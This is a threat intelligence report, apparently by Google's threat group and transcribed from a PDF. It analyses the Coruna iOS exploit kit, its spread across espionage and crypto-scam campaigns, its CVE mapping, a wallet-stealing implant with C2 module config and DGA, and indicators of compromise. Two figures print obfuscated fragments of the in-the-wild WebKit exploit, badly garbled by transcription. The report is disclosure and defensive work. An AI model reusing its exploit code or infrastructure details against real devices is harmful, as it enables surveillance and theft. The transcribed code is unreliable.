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Introduction

Google Threat Intelligence Group (GTIG) has identified a new and powerful exploit
kit targeting Apple iPhone models running iOS version 13.0 (released in September
2019) up to version 17.2.1 (released in December 2023). The exploit kit, named
“Coruna” by its developers, contained five full iOS exploit chains and a total of 23
exploits. The core technical value of this exploit kit lies in its comprehensive
collection of iOS exploits, with the most advanced ones using non-public
exploitation techniques and mitigation bypasses.

The Coruna exploit kit provides another example of how sophisticated capabilities
proliferate. Over the course of 2025, GTIG tracked its use in highly targeted
operations initially conducted by a customer of a surveillance vendor, then

observed its deployment in watering hole attacks targeting Ukrainian users by
UNC6353, a suspected Russian espionage group. We then retrieved the complete
exploit kit when it was later used in broad-scale campaigns by UNC6691, a
financially motivated threat actor operating from China. How this proliferation
occurred is unclear, but suggests an active market for "second hand" zero-day
exploits. Beyond these identified exploits, multiple threat actors have now acquired
advanced exploitation techniques that can be re-used and modified with newly
identified vulnerabilities.


https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/
https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/
https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/Buying_Spying_-_Insights_into_Commercial_Surveillance_Vendors_-_TAG_report.pdf

Following our disclosure policy, we are sharing our research to raise awareness
and advance security across the industry. We have also added all identified
websites and domains to Safe Browsing to safeguard users from further
exploitation. The Coruna exploit kit is not effective against the latest version of iOS,
and iPhone users are strongly urged to update their devices to the latest version of

iIOS. In instances where an update is not possible, it is recommended that
Lockdown Mode be enabled for enhanced security.

Discovery Timeline

Coruna iOS Exploit Kit Timeline
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Figure 1: Coruna iOS exploit kit timeline

Initial Discovery: The Commercial
Surveillance Vendor Role

In February 2025, we captured parts of an iOS exploit chain used by a customer of
a surveillance company. The exploits were integrated into a previously unseen
JavaScript framework that used simple but unique JavaScript obfuscation
techniques.


https://about.google/appsecurity/
https://safebrowsing.google.com/
https://support.apple.com/en-us/105120

[16, 22, @, 69, 22, 17, 23, 12, 6, 17].map(x => {return String.from
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i.p1=(1111970405 ~ 1111966034);

The JavaScript framework used these constructs to encode strings and integers

The framework starts a fingerprinting module collecting a variety of data points to
determine if the device is real and what specific iPhone model and iOS software
version it is running. Based on the collected data, it loads the appropriate WebKit
remote code execution (RCE) exploit, followed by a pointer authentication code
(PAC) bypass as seen in Figure 2 from the deobfuscated JavaScript.
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Figure 2: Deobfuscated JavaScript of the Coruna exploit kit

At that time, we recovered the WebKit RCE delivered to a device running iOS 17.2
and determined it was CVE-2024-23222, a vulnerability previously identified as a
zero-day that was addressed by Apple on Jan. 22, 2024 in i0OS 17.3 without
crediting any external researchers. Figure 3 shows the beginning of the RCE exploit
exactly how it was delivered in-the-wild with our annotations.



(et r=1); (116, 22, @, 69, 22, 17, 23, 12, 6, 171.map(x = {return String.fromcharCode(x ~ 1011;7).J0in(""1);cONSTIN:F, tn:M,nn:C, Vi m, U:W,An:S,vn:],T:1,v:0,1:u,B:5,K:R,0:L}
=globalThis[([®, 3, 59, 5, 39, 7).map(x => {return String.fromCharCode(x ~ 78);}).join("*))1(([27, 25, 2, 32, 18, 7].map(x => {return String.fromCharCode(x ~ 72);}).join
("))1(([123, 41, 126, 120, 45, 124, 44, 44, 42, 121, 45, 126, 121, 41, 45, 121, 122, 44, 127, 112, 42, 112, 44, 46, 124, 42, 122, 112, 121, 126, 125, 46, 44, 45, 43, 41,
125, 128, 123, 126].map(x => {return String.fromCharCode(x ~ 72);}).join("")});const P=globalThis[([124, 127, 71, 121, 91, 123].map(x => {return String.fromCharCode(x ~ 5
@);}).join(""))] [([52, 54, 45, 15, 61, 48].map(x => {return String.fromCharCode(x ~ 103);}).join("")))(([39, 116, 35, 33, 117, 124, 39, 124, 114, 114, 36, 117, 118, 113, 1
17, 39, 117, 35, 117, 35, 39, 115, 33, 115, 112, 117, 33, 114, 125, 125, 35, 114, 36, 114, 36, 119, 33, 112, 125, 35l.map(x => {return String.fromCharCode(x ~ 69);}).join
("")));const H=globalThis[([57, 58, 2, 6@, 3@, 62].map(x => {return String.fromCharCode(x ~ 119);}). ]nin(""obfuScatedlconstants“l].Iaplx => {return String.fromCharCo
de(x ~ 103);}).join(""))](([100, 54, 97, 183, 58, 99, 51, 51, 53, 182, 50, 97, 182, 54, 56, 182, 181, 51, 96, 111, 53, 111, 51, 49, 99, 53, 101, 111, 102, 97, 98, 49, 51,
50, 52, 54, 98, 103, 100, 97].map(x => {return String.fromCharCode(x ~ 87);}).join("")});async function K(t,e){const n=0;const r=1;const i=2;const s=3;const o=t=>{};let 1=
(1328633425 ~ 1328795173); if (navigator.constructor.name===([45, 2, 21, 10, 4, 2, 23, 12, 17].map(x => {return String.fromCharCode(x ~ 99);}).join(""))){0o("");=e}const ¢
="00";const h="01";const u="02";const a="03";const f="04";const w="05";const p="06";const m="87";const y="08";const b="09";const A="0a";const U="0b";const d="0c";const g
="0d" ;const B="0e";const x="0f";const v="10";const T="11";const C="12";const F="13";const N="14";const k="15";const I="16";const _="17";const W="18";const j="19";const R
="1a";const D="1b";const E="1c";const L="1d";const M="1e";const 0="1f";const V="20";const J="21";const G="22";const $="23";const g="24";const z="25";const Q="26";const X
="27";const Y="28";const Z="29";const tt={};tt(c]=(1749317938 ~ 1749318018);tt[h]=88;tt[u]=96;tt[al=8;tt[f]1=16;tt[wl=16;tt[p]=24;ttIm]=16;tt(y]=24;tt[b]l=16;tt[A]l=16;tt[U]=

16;tt[d]=(844133682 ~ B44133498);tt[g]=(1165258850 ~ 1165259194);tt[B]=(1849192548 ~ 1849193060);tt[x]=(1783129961 ~ 1783129441);tt[v]=(1097494833 ~ 1097495465) ; tt[T]=8;tt
[C)=0; tt[Fl=4;tt[N]=12;tt[k]=16;tt[I)=20; tt[_]=3;tt[W]=32;tt[j]=48;tt[R]=16;tt[D]=44; tt[E]=48; tt[L]=56; tt[M]=32;tt[0]=64;tt[V]=(1918849334 ~ 1918849350);tt[I]=8;tt[G]=24;t
t[$]=(1650939249 ~ 1650939505);tt[ql=(1313696087 ~ 1313696199);tt[z]1=96;tt[0Q]=32;tt[X]=(1731552841 ~ 1731570241);tt[Y]=(1247240785 ~ 1247260225);tt[Z]=true;function et(){i
T(1>=(1299208527 ~ 1299366239) ){tt[h]=96;tt [u)=(1332378196 ~ 1332378172);tt(X]=(1312045427 ~ 1312182379);tt[Y]=(1882607157 ~ 1B82677397) }if(1>=(813323332 ~ 813222960) ){tt
[X1=(1698983000 ~ 1699045056);tt[Y]=(860776037 ~ 860837061) }if(1>=(2035119446 ~ 2035281294) ) {tt[X]=(1850632280 ~ 1850694296);tt[Y]=(1632662648 ~ 1632716464)}}Hunction nt

[tl{return"lx“»t toString(16) }function rt(t){return BigInt(t)}const 1t=s.1.gInt(549155813807].l:onst st=(1231320907 ~ 1231320384] const ot=BigInt(39);function lt(t){return t&

I el al

=null?n:e/blconst b=4294967296; et A=new ArrayBuffer(16);let U=new Uint32Array(A);let d=new FloatG4Array(A);let g=new BigUint64Array(A);let B=0;function x(t,e=null){y(B,t,
e);return d[B/8] }m.Xs=x; function v(t){d[B/8]=t;return U[B/4]+b*U[B/4+1] }function T(t){d[B/B]=t;return g[ml}l‘nnct!.on C(t=(1952592463 ~ 1952585855)){let e=[];for(let n=0;n
<t;++n)e.pushinew Uint8Array( (1985845347 ~ 1985037427))) }function P(){for(let t=0;t<8;t++)new ArrayBuffer((14) 't-ll-fty fu“nctlakﬁg'ug]l}async function Fit){try{if(window.test
Runner)await print(testRunner.describe(t))}catch(t){}}async function N(t,e){let n=new ArrayBuffer(e);let r=new ;Tor(let n=0;n<e;n+=4)r(n/4]=m.Ys(t+n);await d
umphex(n) }function k(t){let e=new ArrayBuffer(t.length);let n=new UintBArray(e);for(let e=9,r=t.length;e<r; eﬂ)n[el-t cllartndgltte).return elasync function I(t){return new
Promise(((e,n)=>setTimeout(e,t)))}function S(t){let e=new Uint32Array(t);let n=m.Zs(m.eo(e)+16);m.Qs.push(e);returnle,n]}function _(t){let e=new UintBArray(t);let n=m.Zs

(m.eo(e)+16) ;m.0s.push(e); return[e,n] }const W=(909399121 ~ 926176337);const j=(1315532118 ~ 131566319@) ; const R=4294967296;const D=R-1;let E=new FloatB4Array(1);let H=new
Uint32Array(E.buffer);function L(t){E[8]=t;return H[1]=R+H[8]}let M=new Uint32Array(2);let O=new Float64Array(M.buffer);let V=new Uint32Array(2);let J=new BigUint64Array

(V.buffer);let G=new Float64Array(V.buffer);function K(t){M[1]l=t/R;M[0]=t&D;return 0[0]}pm={init:function(){o("");pm.tmput32=new Uint32Array(2);pm.tmpFl=new Fl.oatmrraytp

nstruct(Object, [],n);r.pl=t;r.p2=t;i.p1=(1111970485 ~ 1111966034);i.p2=(1984981093 ~ 1984985938) ;delete i.p2;delete i.p1;i.pl=(862216819 ~ 862220612);1i. p!—(1?31533401 - 1.1
31688318) ; let s={guard_p1:1,p1:[1.1,2.2]}; et l=new Uint32Array(2);let c=new Float64Array(\l.buffar);let h=functinn(t n)ijfinlrarurn;let o=r;if(t){o=1; (0) [e]}let h=0;while
[I|<l!{s.unarﬂ_pl:l:hh-}ll—:uhilel'hdJ{s.guard_p‘l:l:h”}h—;uhil.e(h«l]{s.quard_nl:l:hﬂ}h—:unl‘lTrlgger fOFnQ,\JLE,,2.02£,2_3.2_2,.2,:ms gquard_p1=1;h++}h--;while(h<1){s.qua
rd_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h—-;while(h<1){s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_pl=1;h+
+}h——;while(h<1){s.guard_p1l=1;h++}h——;while(h<1) {s.guard_pl=1;h++}h—;while(h<1){s.guard_p1=1; h++}h——;while(h<1){s.guard_pl=1;h++}h——;while(h<1){s.guard_p1=1;h++}h——;while
(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h——;while(h<1){s.quard_pl=1;h++}h--;while(h<1){s.gua
rd_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h—-;while(h<1l){s.guard_p1=1;h++}h—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_p1=1;h++}h--;while(h<1){s.guard_pl=1;h+
+}h-=;while(h<1){s.guard_p1=1;h++}h--;while(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_p1=1; h++}h--;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_p1=1;h++}h--;while
(h<1){s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_pl=1; h++}h-—;while(h<1){s.guard_pl=1;h++}h—;"co"in o;let u=o0.pl;if(t)u=e;c[8]=ul1];1[0]=1[0]
+16;ul1]l=c[@] ;while(h<1){s.guard_p1=1;h++}h--;while(h<1){s.guard_pl=1;h++}h——;while(h<1){s.guard_pl=1;h++}h——;while(h<1){s.qguard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h
==;while(h<1){s.guard_p1=1;h++}h--;while(h<1){s.guard_pl=1; h++}h—;while(h<1){s.guard_p1l=1; h++}h--;while(h<1){s.guard_p1=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h—;while(h<
1){s.guard_pl=1;h++}h--;while(h<1) {s.guard_pl=1;h++}h——;while(h<1){s.guard_pl=1;h++}h-;while(h<1){s.guard_pl=1;h++}h—-;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_
pl=1; h++}h—;while(h<1){s.guard_p1l=1;h++}h—;while(h<1){s.quard_pl=1;h++}h——;while(h<1){s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h-
~;while(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_p1=1;h++}h—;while(h<
1){s.guard_p1=1;h++}h--;while(h<1) {s.guard_p1=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.guard_
pl=1; h++}h-=;while(h<1){s.guard_p1=1; h++}h—;while(h<1){s.guard_pl=1; h++}h--;while(h<1){s.guard_pl=1; h++}h-—;while(h<1){s.guard_p1=1; h++}h—=}; for(let t=8;t<W;t++){if(t>j)
{h(false,true);continue}h(t%26&t<(1749959506 ~ 1749959250),t>(927091809 ~ 927095905));if (t==j)delete r.p2}for(let t=0;t<(1868715319 ~ 1869763895);t++)new Array(13.37,13.3

Figure 3: How the RCE exploit leveraging CVE-2024-23222 was delivered in the wild

Government-Backed Attacker Usage

In summer 2025, we noticed the same JavaScript framework hosted on
cdn.uacounter[.]Jcom, a website loaded as a hidden iFrame on many compromised
Ukrainian websites, ranging from industrial equipment and retail tools to local
services and ecommerce websites. The framework was only delivered to selected
iPhone users from a specific geolocation.

The framework was identical and delivered the same set of exploits. We collected
WebKit RCEs, which included CVE-2024-23222, CVE-2022-48503, and CVE-2023-
43000, before the server was shut down. We alerted and worked with CERT-UA to
clean up all compromised websites.

Full Exploit Chain Collection From Chinese
Scam Websites



At the end of the year, we identified the JavaScript framework on a very large set
of fake Chinese websites mostly related to finance, dropping the exact same iOS
exploit kit. The websites tried to convince users to visit the websites with iOS
devices, as seen in Figure 4, taken from a fake WEEX crypto exchange website.

Figure 4: Pop-up on a fake cryptocurrency exchange website trying to drive users to the
exploits

Upon accessing these websites via an iOS device and regardless of their
geolocation, a hidden iFrame is injected, delivering the exploit kit. As an example,
Figure 5 shows the same CVE-2024-23222 exploit as it was found on
3vSwikm5gvl.]xyz.
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=0; t<8;t++)new ArrayBuffer((1329162061 ~ 1312384845)) async function Fit}{try{if{window.testRunner}await print(testRunner.describe(t))}}catch(t){}}async function Nit,e)}{let n=new ArrayBuffer
{e);let r=new Uint32Array(n);for{let n=0;n<e;n+=4)}rin/4]=m.Ks(t+n);await dumphex(n)}function kit){let e=new ArrayBuffer(t.length);let n=new Uint8Array(e);for(let e=0,r=t.length;e<r;e++)nle]
=t.charCodeAt(e);return e}async function I(t]{return new Promise(((e,n)=>setTimeout(e,t)))}function S(t){let e=new Uint32Array(t);let n=m.qs(m.2s(e)+16);m.Rs.pushie);return[e,n]function _
(t){let e=new UintBArray(t);let n=m.qs(m.zs(e)}+16);m.Rs.push(e);returnle,nl}const W=(1984706677 ~ 2001483893);const j=(BI5764305 ~ 895895377) ;const R=4294967296;const D=R-1;let E=new Float6
4Array(1);let H=new Uint32Array(E.buffer);function L(t)}{E[@]=t;return H[1]=R+H[8]}let M=new Uint32Array(2);let O=new Float6dArray(M.buffer);let V=new Uint32Array(2);let J=new BigUint64Array
(V.buffer);let G=new Float6dArray(V.buffer);function K(t){M[1]=t/R;M[8]=t&D; return O[@]}pm={init:function(){o("");pm. tmput32=new Uint32Array(2);pm.tmpFl=new Float64Array(pm.tmput32.buffer);
pm. fc={Qs:1,Xs:2};pm. fa=[1.1,pm. fc]; let t=[1.1,1.1];t.¥s=1.1; let e=[1.1,2.2];e.Ys=1.1; function ni){}let r=Reflect.constructiObject, []1,n);let i=Reflect.constructiObject, [],n);r.pl=t;r.p2=1;
1.p1=(1649959746 ~ 1649963125);1.p2=(2018530166 ~ 2018525249) ;delete i.p2;delete i.pl;i.pl=(028281392 ~ 0928276487);1.p2=(1429354828 ~ 1429351035);let s={guard_pl:1,pl:[1.1,2.2]};let l=new U
int32Array(2);let c=new Float64Array(Ll.buffer);let h=function(t,n){if(n)return;let o=r;if(t){o=i;(0)[8]}let h=0;while(h<l){s.guard_pl=1;h++}h——;while(h<1){s.guard_pl=1;h++}h--;while(h<1){s.
quard_pl=1;h++}h--;while(h<1){s.guard_pl=1; h++}h—;while(h<1){s.guard_pl=1;h++}h——;while(h<l){s.guard_pl=1;h++}h-—;while(h<1) {s.guard_pl=1;h++}h—;while(h<1){s.guard_pl=1;h++}h—;while(h<1)
{s.guard_pl=1; h++}h—;while(h<1){s.guard_pl=1; h++}h-—;while(h<1}{s.gquard_pl=1;h++}h-—;whilel{h<1){s.guard_pl=1;h++}h-—;while(h<l}{s.guard_pl=1;h++}h-—;while(h<1}{s.guard_pl=1;h++}h-—;while(h
“1){s.guard_p1=1;h++}h—;while(h<1){s.guard_p1=1;h++}h-—;while(h<1){s.guard_p1=1;h++}h-—;while(h<1){s.guard_pl=1;h++}h—;while(h<1){s.quard_pl=1;h++}h--;while(h<1){s.guard_pl=1;h++}h—;whi’

Figure 5: Screenshot of CVE-2024-23222 exploit recovered from a scam site

We retrieved all the obfuscated exploits, including ending payloads. Upon further
analysis, we noticed an instance where the actor deployed the debug version of
the exploit kit, leaving in the clear all of the exploits, including their internal code
names. That’s when we learned that the exploit kit was likely named Coruna
internally. In total, we collected a few hundred samples covering a total of five full
I0S exploit chains. The exploit kit is able to target various iPhone models running
iOS version 13.0 (released in September 2019) up to version 17.2.1 (released in
December 2023).

In the subsequent sections, we will provide a quick description of the framework, a
breakdown of the exploit chains, and the associated implants we have captured.
Our analysis of the collected data is ongoing, and we anticipate publishing
additional technical specifications via new blog entries or root cause analyses
(RCAs).

The Coruna Exploit Kit

The framework surrounding the exploit kit is extremely well engineered; the exploit
pieces are all connected naturally and combined together using common utility
and exploitation frameworks. The kit performs the following unique actions:

e Bailing out if the device is in Lockdown Mode, or the user is in private
browsing.



https://googleprojectzero.github.io/0days-in-the-wild/rca.html

e A unique and hard-coded cookie is used along the way to generate resource

URLs.

e Resources are referred to by a hash, which needs to be derived with the

unique cookie using sha256(COOKIE + ID)[:4@] to get their URL.

e RCE and PAC bypasses are delivered unencrypted.

The kit contains a binary loader to load the appropriate exploit chain post RCE

within WebKit. In this case, binary payloads:

e Have unique metadata indicating what they really are, what chips and iOS

versions they support.
e Are served from URLs that end with .min.js.

e Are encrypted using ChaCha20 with a unique key per blob.

e Are packaged in a custom file format starting with OxfOOdbeef as header.

e Are compressed with the Lempel-Ziv-Welch (LZW) algorithm.

Figure 6 shows what an infection of an iPhone XR running iOS 15.8.5 looks like from

a networking point of view, with our annotation of the different parts when

browsing one of these fake financial websites.

Chain delivered on iOS 15.8.5

I.<? https://3vwikm5gv.xyz/group.html !=a_nqi_ng page GET

j https:/f3vEwikmB5gv.xyz/2819a75382d235a9756e58¢2fae 500361673300 js2f55mj=1  WebKit R/W GET

‘ J https://3v6w1kmbav.xyz/91b639fbEbeBdaa7ab65efbdBeadOcdab2721741js?bmslz7=0  Usermode PAC bypass GET

__| https://3vswikm5gv.xyz/efc39f0701bca9e63d691329fbi56faee9dcdb06.js?wfomigo=0 PE |oader GET

‘ __?‘ https://3vbwikm5gv.xyz/e484b0302f28401219f979abb30bebcc9368a6d7.js7no3j=1 PE GET

3 hitps://3vswikmSgv.xyz/ GET

‘ __‘ https://3vsw1km5gv.xyz/group.htmi ! GET

;_J htps://3vswikmSgy.xyz/89b6ddac2308422090d99ba3eb187ebbad7501c.minjs  |mplant GET

‘ [ https:/{3v5wikmSgv.xyz/ ! GET

j https:fb38wo9ecdejfgstxyzfa Phone information POST
5__;‘ http://3vswikm5gv.xyz/details/show.html  Implant configuration GET

_ihups:,f,th&wDBecdeijsl.xyzfevem Beacon POST
5; http:/{3vEwikm5gv.xyz/details/show.html GET

_] https:/fb38w09ecdejfgsi.xyz/event POST
j http://3vbwikmbgv.xyz/detailsfhelion.js  Helion module GET

j https://b38w09ecdejfgsi.xyz/event POST
_] https:/fb38wo9ecdejfqs.xyz/event POST
__| https://b38w09ecdejfqst.xyz/event POST

Figure 6: Coruna exploit chain delivered on iOS 15.8.5

The Exploits and Their Code Names
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The core technical value of this exploit kit lies in its comprehensive collection of
I0S exploits. The exploits feature extensive documentation, including docstrings
and comments authored in native English. The most advanced ones are using non-
public exploitation techniques and mitigation bypasses. The following table
provides a summary of our ongoing analysis regarding the various exploit chains;
however, as the full investigation is still in progress, certain CVE associations may
be subject to revision. There are in total 23 exploits covering versions from iOS 13
to iI0S 17.2.1.

Targeted .
. Fixed
Type Codename versions ) CVE
. . version
(inclusive)
CVE-
WebContent
buffout 13 — 1511 15.2 2021-
R/W
30952
CVE-
WebContent )
Jacurutu 15.2 = 15.5 15.6 2022~
R/W
48503
WebContent )
bluebird 15.6 — 16.1.2 16.2 No CVE
R/W
CVE-
WebContent )
terrorbird 16.2 — 16.5.1 16.6 2023-
R/W
43000
CVE-
WebContent 16.7.5,
cassowary 16.6 — 17.2.1 2024-
R/W 17.3
23222
WebContent
breezy 13 — 14.x ? No CVE
PAC bypass




WebContent

breezy15 15 —16.2 ? No CVE
PAC bypass
WebContent
seedbell 16.3 — 16.5.1 ? No CVE
PAC bypass
WebContent
seedbell 16 6 16.6 — 16.7.12 ? No CVE
PAC bypass -7
WebContent
seedbell 17 17 — 17.2.1 ? No CVE
PAC bypass -
WebContent 16.0 — 1578 CVE-
sandbox IronLoader 16.3.116.4.0 16.5. ' 2023-
escape (<= A12) ' 32409
WebContent 16.4.0 —
sandbox NeuronLoader 16.6.1 (A13- 17.0 No CVE
escape A16)
CVE-
PE Neutron 13.X 14.2 2020-
27932
CVE-
PE (infoleak) Dynamo 13.X 14.2 2020-
27950
PE Pendulum 14 — 14.4.x 14.7 No CVE
CVE-
15.7.7,
PE Photon 14.5 — 15.7.6 2023-
16.5.1

32434




CVE-
PE Parallax 16.4 — 16.7 17.0 2023-
41974
16.7.6,
PE Gruber 15.2 = 17.2.1 No CVE
17.3
PPL Bypass Quark 13.X 14.5 No CVE
CVE-
: 15.7.8,
PPL Bypass Gallium 14.x 16.6 2023-
' 38606
PPL Bypass Carbone 15.0 —» 16.7.6 17.0 No CVE
CVE-
16.7.6,
PPL Bypass Sparrow 17.0 — 17.3 174 2024-
' 23225
CVE-
16.7.8,
PPL Bypass Rocket 171 —17.4 175 2024-
' 23296

Table 1: Table with mapping CVE to code names

Photon and Gallium are exploiting vulnerabilities that were also used as zero-days
as part of Operation Triangulation, discovered by Kaspersky in 2023. The Coruna

exploit kit also embeds reusable modules to ease the exploitation of the
aforementioned vulnerabilities. For example, there is a module called

rwx_allocator using multiple techniques to bypass various mitigations
preventing allocation of RWX memory pages in userland. The kernel exploits are
also embedding various internal modules allowing them to bypass kernel-based
mitigations such as kernel-mode PAC.

The Ending Payload


https://securelist.com/operation-triangulation/109842/

At the end of the exploitation chain, a stager binary called PlasmalLoader
(tracked by GTIG as PLASMAGRID), using com.apple.assistd as an identifier,
facilitates communication with the kernel component established by the exploit.
The loader is injecting itself into powerd, a daemon running as root on iOS.

The injected payload doesn’t exhibit the usual capabilities that we would expect to
see from a surveillance vendor, but instead steals financial information. The
payload can decode QR codes from images on disk. It also has a module to
analyze blobs of text to look for BIP39 word sequences or very specific keywords
like “backup phrase” or “bank account.” If such text is found in Apple Memos it will
be sent back to the C2.

More importantly, the payload has the ability to collect and run additional modules
remotely, with the configuration retrieved from http://<C2
URL>/details/show.html . The configuration, as well as the additional modules,
are compressed as 7-ZIP archives protected with a unique hard-coded password.
The configuration is encoded in JSON and simply contains a list of module names
with their respective URL, hash and size.

{
"entries": [
{
"bundleId": "com.bitkeep.os",
"url": "http://<C2URL>/details/f6lib.js",
"sha256": "6eafd742f58db21fbaf5fd7636e6653446df04b4a5c9bca9le:
"size": 256832,
"flags": {
"do_not_close_after_run": true
}
}
]
}


https://www.blockplate.com/pages/bip-39-wordlist

As expected, most of all identified modules exhibit a uniform design; they are all
placing function hooks for the purpose of exfiltrating cryptocurrency wallets or
sensitive information from the following applications:

e com.bitkeep.os

e com.bitpie.wallet

e coin98.crypto.finance.insights
e org.toshi.distribution
e exodus-movement.exodus
e 1im.token.app

e com.kyrd.krystal.ios

e io.metamask.MetaMask

e org.mytonwallet.app

e app.phantom

e com.skymavis.Genesis

e com.solflare.mobile

e com.global.wallet.ios
e com.tonhub.app

e com.jbig.tonkeeper

e com.tronlink.hdwallet
e com.sixdays.trust

e com.uniswap.mobile

All of these modules contain proper logging with sentences written in Chinese:

<PlasmalLogger> %s[%d]: CorePayload EIBSEHItAILRIN , 2iXEGN. ..

This log string indicates the CorePayload Manager initialized successfully

Some comments, such as the following one, also include emojis and are written in
a way suggesting they might be LLM-generated.



<PlasmalLogger> %s[%d]: [PLCoreHeartbeatMonitor] DEERIZEE BN (IR
« 8

Network communication is done over HTTPs with the collected data encrypted and
POST’ed with AES using the SHA256 hash of a static string as key. Some of the
HTTP requests contain additional HTTP headers such as sdkv or x-ts, followed
by a timestamp. The implant contains a list of hard-coded C2s but has a fallback
mechanism in case the servers do not respond. The implant embeds a custom
domain generation algorithm (DGA) using the string “lazarus” as seed to generate
a list of predictable domains. The domains will have 15 characters and use .xyz as
TLD. The attackers use Google's public DNS resolver to validate if the domains are
active.

Conclusion

Google has been a committed participant in the Pall Mall Process, designed to

build consensus and progress toward limiting the harms from the spyware
industry. Together, we are focused on developing international norms and
frameworks to limit the misuse of these powerful technologies and protect human
rights around the world. These efforts are built on earlier governmental actions,
including steps taken by the US Government to limit government use of spyware,
and a first-of-its-kind international commitment to similar efforts.
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Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this
blog post, we have included IOCs in a free GTI Collection for registered users.



https://www.gov.uk/government/publications/the-pall-mall-process-declaration-tackling-the-proliferation-and-irresponsible-use-of-commercial-cyber-intrusion-capabilities
https://www.federalregister.gov/documents/2023/03/30/2023-06730/prohibition-on-use-by-the-united-states-government-of-commercial-spyware-that-poses-risks-to
https://2021-2025.state.gov/joint-statement-on-efforts-to-counter-the-proliferation-and-misuse-of-commercial-spyware/
http://projectzero.google/
https://www.virustotal.com/gui/collection/8f6035fed41b481f604ad0336a637dce1ddaec6670e1497f38d4fca246fda4ce

File Indicators

Hashes of the implant and its modules delivered from the crypto related websites.

Implant

bundield SHA-256

com.apple.assistd 229d21ca07244932939c6c5869944812147992c1149c«
’;——————————————————————————— 3
Modules

bundleld SHA-256

com.apple.springboard

183941cc096344e0730e49a0098970b:

com.bitkeep.os

6eatd742f58db21fbaf5fd7636e6653-

com.bitpie.wallet

42ccO2cecdb65f22a3658354c5a5efab:

coin98.crypto.finance.insights

0dffl7e3aal2c4928273c70a2elab6ff-

org.toshi.distribution

05b5e4070b3b8al130b12ea96c5526bA4t

exodus-movement.exodus

10bd8f21f8bb9595664bb9160fbc4136-

im.token.app

91d44c1f62fd863556aac0190cbef3b:

com.kyrd.krystal.ios

721b46b43b7084b98e51ab00606T08at




io.metamask.MetaMask

25a9b004cf611fb251c8d4024a8c7383:

org.mytonwallet.app

be28b40df919d3fa87ed49e51135a71¢

app.phantom

3c297829353778857edfeaed3ceeeca:

com.skymavis.Genesis

499f6b1e012d9bc947eeca8e23635dfetl

com.solflare.mobile

d517c3868c5e7808202f53fa78d827a:

com.global.wallet.ios

4dfcf5a7l1e5a8f27f748ac7fd7760de

com.tonhub.app

d371e3bed18ee355438bl66bbf3bdat:

com.jbig.tonkeeper

023e5fb71923cfa2088b9a48ad8566f-

com.tronlink.hdwallet

1218068ea943a511b230f2a99991f6d:

com.sixdays.trust

1fb9dedf1lde81d387eff4bd5e74717 3¢

com.uniswap.mobile

4dc255504a6¢c3ea8714ccdc95cc0413!

Network Indicators

UNC6353 Indicators

URL delivering Coruna exploit kit

http://cdn[.]Juacounter[.]Jcom/stat[.]html




UNC6691 Indicators

URLs delivering Coruna exploit kit

https://ai-scorepredict[.]Jcom/static/analytics[.]Jhtml

https://m[.]pc6[.Jcom/test/tuiliu/group[.]html

http://ddus17[.Jcom/tuiliu/groupl.]Jhtml

https://goodcryptocurrency[.]Jtop/details/group[.]html

http://pepeairdrop01[.]Jcom/static/analytics[.]Jhtml

https://osec2[.]668ddf[.]cc/tuiliu/groupl.]html

https://pepeairdrop01[.]Jcom/static/analytics[.]Jhtml

https://ios[.]teegrom[.]top/tuiliu/group[.]html

https://i[.]binaner[.Jcom/groupl.]html

https://ajskbnrs[.]Jxn--jorOb302fdhgwnccw8g[.]Jcom/gogo/list[.]html

https://sj9i0z3a7y89cyT[.]xyz/list[.]html

https://65sse[.]668ddf[.]cc/tuiliu/groupl.]Jhtml

https://sadjd[.]Jmijieqi[.]cn/group[.]html

https://mkkku[.]Jcom/static/analytics[.]html

https://dbgopaxI[.]Jcom/static/goindex/tuiliu/group[.]html




https://w2a315[.]Jtubeluck[.]Jcom/static/goindex/tuiliu/groupl[.]Jhtml

https://ose[.]668ddf[.]cc/tuiliu/groupl.]html

http://cryptocurrencyworld[.]Jtop/details/group[.]html

https://iphonex[.Jmjdgw[.]cn/tuiliu/group[.]html

http://goodcryptocurrency|.]top/details/groupl.]Jhtml

https://share[.]4u[.]game/groupl.]html

https://26al.]online/groupl.]Jhtml

https://binancealliancesintro[.]Jcom/group[.]html

https://4ul.]game/groupl[.]html

http://bestcryptocurrencyl.]top/details/groupl.]Jhtml

https://b27[.]icu/group[.]html

https://h4k(.]icu/group[.]html

https://so5083[.]Jtubeluck[.Jcom/static/goindex/group[.]html

https://sevenT[.]vip/group[.]html

https://y4wl[.]icu/groupl[.]Jhtml

https://7ff[.]Jonline/group[.]html

https://cy8[.]top/group[.]html




https://Tuspin[.]us/group[.]html

https://sevenT[.]to/group[.]html

https://4kgame[.]Jus/group[.]html

https://share[.]7p[.Jgame/groupl.]Jhtml

https://www[.]appstoreconn[.Jcom/xmweb/group[.]html

https://k96[.]icu/group[.]html

https://Tfunl.]icu/group[.]html

https://n49[.]top/groupl.]Jhtml

https://98al.]online/group[.]html

https://spin7[.licu/group[.]html

https://t7c[.licu/group[.]html

